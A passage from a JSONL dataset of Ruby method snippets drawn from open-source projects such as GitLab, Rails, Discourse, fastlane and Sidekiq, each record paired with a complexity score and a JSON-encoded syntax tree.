==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]}]}]}","id":"9b2675fb-3a82-48a4-bc7c-9568be849dd6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rspec/redundant_metatag_type.rb","start_line":77,"raw_source":"def type_by_location\n          return @type_by_location if defined?(@type_by_location)\n\n          # See spec/support/rspec.rb\n          @type_by_location = %r{/spec/([^/]+)/}\n            .match(processed_source.file_path)\n            &.match(1)\n            &.singularize\n        end","complexity_score":10.08,"ast_json":"{\"type\":\"def\",\"children\":[\"type_by_location\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type_by_location\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type_by_location\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@type_by_location\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/spec/([^/]+)/\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"file_path\"]}]},\"match\",{\"type\":\"int\",\"children\":[1]}]},\"singularize\"]}]}]}]}","id":"181fcddf-85dc-4ac2-bad3-83061b1fd2ad"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/swift_fastlane_function.rb","start_line":298,"raw_source":"def return_statement\n      returned_object = \"runner.executeCommand(command)\"\n      case @return_type\n      when :array_of_strings\n        returned_object = \"parseArray(fromString: #{returned_object})\"\n      when :hash_of_strings\n        returned_object = \"parseDictionary(fromString: #{returned_object})\"\n      when :hash\n        returned_object = \"parseDictionary(fromString: #{returned_object})\"\n      when :bool\n        returned_object = \"parseBool(fromString: #{returned_object})\"\n      when :int\n        returned_object = \"parseInt(fromString: #{returned_object})\"\n      end\n\n      expected_type = swift_type_for_return_type\n\n      return_string = \"_ = \"\n      if expected_type.length > 0\n        return_string = \"return \"\n      end\n      return \"#{return_string}#{returned_object}\"\n    end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"return_statement\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"returned_object\",{\"type\":\"str\",\"children\":[\"runner.executeCommand(command)\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_of_strings\"]},{\"type\":\"lvasgn\",\"children\":[\"returned_object\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"parseArray(fromString: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"returned_object\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"hash_of_strings\"]},{\"type\":\"lvasgn\",\"children\":[\"returned_object\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"parseDictionary(fromString: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"returned_object\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"lvasgn\",\"children\":[\"returned_object\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"parseDictionary(fromString: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"returned_object\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"bool\"]},{\"type\":\"lvasgn\",\"children\":[\"returned_object\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"parseBool(fromString: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"returned_object\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"int\"]},{\"type\":\"lvasgn\",\"children\":[\"returned_object\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"parseInt(fromString: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"returned_object\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"expected_type\",{\"type\":\"send\",\"children\":[null,\"swift_type_for_return_type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"return_string\",{\"type\":\"str\",\"children\":[\"_ = \"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_type\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"return_string\",{\"type\":\"str\",\"children\":[\"return \"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"returned_object\"]}]}]}]}]}]}","id":"1285f63e-eccc-4af3-a33d-0e09d6667fcf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/update_build_queue_service.rb","start_line":57,"raw_source":"def track(build, transition)\n      return if build.runner.nil?\n\n      raise InvalidQueueTransition unless transition.to == 'running'\n\n      transition.within_transaction do\n        result = ::Ci::RunningBuild.upsert_build!(build)\n\n        unless result.empty?\n          metrics.increment_queue_operation(:shared_runner_build_new) if build.shared_runner_build?\n\n          result.rows.dig(0, 0)\n        end\n      end\n    end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"track\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]},{\"type\":\"arg\",\"children\":[\"transition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"runner\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transition\"]},\"to\"]},\"==\",{\"type\":\"str\",\"children\":[\"running\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidQueueTransition\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transition\"]},\"within_transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"RunningBuild\"]},\"upsert_build!\",{\"type\":\"lvar\",\"children\":[\"build\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"shared_runner_build?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metrics\"]},\"increment_queue_operation\",{\"type\":\"sym\",\"children\":[\"shared_runner_build_new\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"rows\"]},\"dig\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}]}","id":"21d80a14-474f-4fa1-b9d1-557854895c4a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/bulk_services/project_mappings/mapping_context.rb","start_line":40,"raw_source":"def initialize(mapping_model_class:,\n                     model:,\n                     projects:,\n                     model_foreign_key_id:,\n                     include_sub_projects: false)\n        super(mapping_model_class:)\n        @model = model\n        @projects = projects\n        @model_foreign_key_id = model_foreign_key_id\n        @include_sub_projects = include_sub_projects\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"mapping_model_class\"]},{\"type\":\"kwarg\",\"children\":[\"model\"]},{\"type\":\"kwarg\",\"children\":[\"projects\"]},{\"type\":\"kwarg\",\"children\":[\"model_foreign_key_id\"]},{\"type\":\"kwoptarg\",\"children\":[\"include_sub_projects\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mapping_model_class\"]},{\"type\":\"lvar\",\"children\":[\"mapping_model_class\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@model\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@projects\",{\"type\":\"lvar\",\"children\":[\"projects\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@model_foreign_key_id\",{\"type\":\"lvar\",\"children\":[\"model_foreign_key_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@include_sub_projects\",{\"type\":\"lvar\",\"children\":[\"include_sub_projects\"]}]}]}]}","id":"39c8b8ca-5c56-40e1-b5d8-d90262b2a042"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/type/helpers/numeric.rb","start_line":44,"raw_source":"def number_to_non_number?(old_value, new_value_before_type_cast)\n            old_value != nil && !new_value_before_type_cast.is_a?(::Numeric) &&\n              non_numeric_string?(new_value_before_type_cast.to_s)\n          end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"number_to_non_number?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_value\"]},{\"type\":\"arg\",\"children\":[\"new_value_before_type_cast\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_value\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_value_before_type_cast\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Numeric\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"non_numeric_string?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_value_before_type_cast\"]},\"to_s\"]}]}]}]}","id":"0c7d2e8e-371b-4deb-8c69-277794dad3b1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/filter.rb","start_line":10,"raw_source":"def self.register(name, &blk)\n      manager.register(name, &blk)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"register\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"manager\"]},\"register\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}","id":"4bdc4388-5573-4a21-9cea-19a3851bf787"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":758,"raw_source":"def test_select_with_multiple_and_include_hidden\n    output_buffer = select(:post, :category, \"\", { include_hidden: true }, { multiple: true })\n    assert_dom_equal(\n      \"<input name=\\\"post[category][]\\\" type=\\\"hidden\\\" value=\\\"\\\" autocomplete=\\\"off\\\" /><select multiple=\\\"multiple\\\" name=\\\"post[category][]\\\" id=\\\"post_category\\\"></select>\",\n      output_buffer\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_with_multiple_and_include_hidden\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output_buffer\",{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_hidden\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiple\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<input name=\\\"post[category][]\\\" type=\\\"hidden\\\" value=\\\"\\\" autocomplete=\\\"off\\\" /><select multiple=\\\"multiple\\\" name=\\\"post[category][]\\\" id=\\\"post_category\\\"></select>\"]},{\"type\":\"lvar\",\"children\":[\"output_buffer\"]}]}]}]}","id":"fa03332c-103e-49ed-b0aa-e37e71b19da1"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters/exception_presenter.rb","start_line":549,"raw_source":"def exception_count_description\n        failure_count = Formatters::Helpers.pluralize(failures.size, \"failure\")\n        return failure_count if other_errors.empty?\n        error_count = Formatters::Helpers.pluralize(other_errors.size, \"other error\")\n        \"#{failure_count} and #{error_count}\"\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exception_count_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"failure_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Formatters\"]},\"Helpers\"]},\"pluralize\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failures\"]},\"size\"]},{\"type\":\"str\",\"children\":[\"failure\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"other_errors\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failure_count\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"error_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Formatters\"]},\"Helpers\"]},\"pluralize\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"other_errors\"]},\"size\"]},{\"type\":\"str\",\"children\":[\"other error\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failure_count\"]}]},{\"type\":\"str\",\"children\":[\" and \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_count\"]}]}]}]}]}","id":"a7c221cb-394e-4e7a-b5ed-765a12f371e1"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/job/iterable.rb","start_line":276,"raw_source":"def should_interrupt?\n        max_iteration_runtime = Sidekiq.default_configuration[:max_iteration_runtime]\n        max_iteration_runtime && (mono_now - @_start_time > max_iteration_runtime)\n      end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"should_interrupt?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"max_iteration_runtime\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_iteration_runtime\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_iteration_runtime\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mono_now\"]},\"-\",{\"type\":\"ivar\",\"children\":[\"@_start_time\"]}]},\">\",{\"type\":\"lvar\",\"children\":[\"max_iteration_runtime\"]}]}]}]}]}]}","id":"359ed5e9-2af2-4bfe-9b1d-5bf9eca75669"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/common.rb","start_line":166,"raw_source":"def draw_text_centered(text, text_style, top)\n    text_width = measure_text_width(text, text_style)\n    text_x = (pdf.bounds.width - text_width) / 2\n    draw_styled_text text, text_style.merge({ at: [text_x, top] })\n    [text_x, text_width]\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"draw_text_centered\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"text_style\"]},{\"type\":\"arg\",\"children\":[\"top\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text_width\",{\"type\":\"send\",\"children\":[null,\"measure_text_width\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text_style\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text_x\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"bounds\"]},\"width\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"text_width\"]}]}]},\"/\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"draw_styled_text\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_style\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"at\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_x\"]},{\"type\":\"lvar\",\"children\":[\"top\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_x\"]},{\"type\":\"lvar\",\"children\":[\"text_width\"]}]}]}]}","id":"e5ab9deb-878e-43be-beb2-7c86cb725aaf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/parsers/security/common.rb","start_line":55,"raw_source":"def valid?\n            return true unless validate\n\n            schema_validation_passed = schema_validator.valid?\n\n            schema_validator.errors.each { |error| report.add_error('Schema', error) }\n            schema_validator.warnings.each { |warning| report.add_warning('Schema', warning) }\n\n            schema_validation_passed\n          end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"schema_validation_passed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_validator\"]},\"valid?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_validator\"]},\"errors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report\"]},\"add_error\",{\"type\":\"str\",\"children\":[\"Schema\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_validator\"]},\"warnings\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"warning\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report\"]},\"add_warning\",{\"type\":\"str\",\"children\":[\"Schema\"]},{\"type\":\"lvar\",\"children\":[\"warning\"]}]}]},{\"type\":\"lvar\",\"children\":[\"schema_validation_passed\"]}]}]}","id":"63396ce6-9352-40c6-adcd-99b97edfd924"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/instances_controller.rb","start_line":30,"raw_source":"def release_version\n      Rails.root.join(\".release-version\").read\n\n    # Accommodate the .release-version file not existing in the case where\n    # this deployment is deployed from a checkout/snapshot of the code.\n    rescue StandardError\n      # Get the latest modified file in the app. We don't use git in case it's\n      # being run from a snapshot of the code outside a git repo (for example:\n      # https://github.com/forem/forem/archive/refs/heads/main.zip), but\n      # instead we use the latest modified time (\"mtime\") from application\n      # code.\n      latest_mtime = Dir[Rails.root.join(\"{app,config,db,lib}/**/*\")]\n        .max_by { |filename| File.mtime(filename) }\n        .then { |filename| File.mtime(filename) }\n\n      \"edge.#{latest_mtime.strftime('%Y%m%d')}.0\"\n    end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"release_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\".release-version\"]}]},\"read\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"latest_mtime\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"{app,config,db,lib}/**/*\"]}]}]},\"max_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"mtime\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},\"then\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"mtime\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"edge.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"latest_mtime\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%d\"]}]}]},{\"type\":\"str\",\"children\":[\".0\"]}]}]}]},null]}]}","id":"3242f18a-21cc-4410-ae68-bf59591260ea"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/serialized_attribute_test.rb","start_line":463,"raw_source":"def test_nil_is_always_persisted_as_null\n    Topic.serialize(:content, type: Hash)\n\n    topic = Topic.create!(content: { foo: \"bar\" })\n    topic.update_attribute :content, nil\n    assert_equal [topic], Topic.where(content: nil)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nil_is_always_persisted_as_null\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"serialize\",{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"update_attribute\",{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}","id":"5aa9d2ed-0a0c-4331-bc7a-eb0cdf6dfed9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/redis/cluster_util.rb","start_line":39,"raw_source":"def batch_entries(entries)\n          entries.each_slice(pipeline_batch_size).flat_map do |subset|\n            yield subset\n          end\n        end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"batch_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entries\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"each_slice\",{\"type\":\"send\",\"children\":[null,\"pipeline_batch_size\"]}]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subset\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subset\"]}]}]}]}","id":"af9652a8-47d4-483f-b94c-4272c71bba79"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket/representation/pull_request.rb","start_line":6,"raw_source":"def author\n        raw.dig('author', 'uuid')\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"author\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"dig\",{\"type\":\"str\",\"children\":[\"author\"]},{\"type\":\"str\",\"children\":[\"uuid\"]}]}]}","id":"62729d11-ae1c-4a75-b1f5-958aa77d92b8"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-narrative-bot/lib/discourse_narrative_bot/base.rb","start_line":131,"raw_source":"def certificate(type = nil)\n      options = { user_id: @user.id, date: Time.zone.now.strftime(\"%b %d %Y\"), format: :svg }\n      options.merge!(type: type) if type\n\n      src =\n        Discourse.base_url +\n          DiscourseNarrativeBot::Engine.routes.url_helpers.certificate_path(options)\n      alt = CGI.escapeHTML(I18n.t(\"#{self.class::I18N_KEY}.certificate.alt\"))\n\n      \"<iframe class='discobot-certificate' src='#{src}' width='650' height='464' alt='#{alt}'></iframe>\"\n    end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"certificate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%b %d 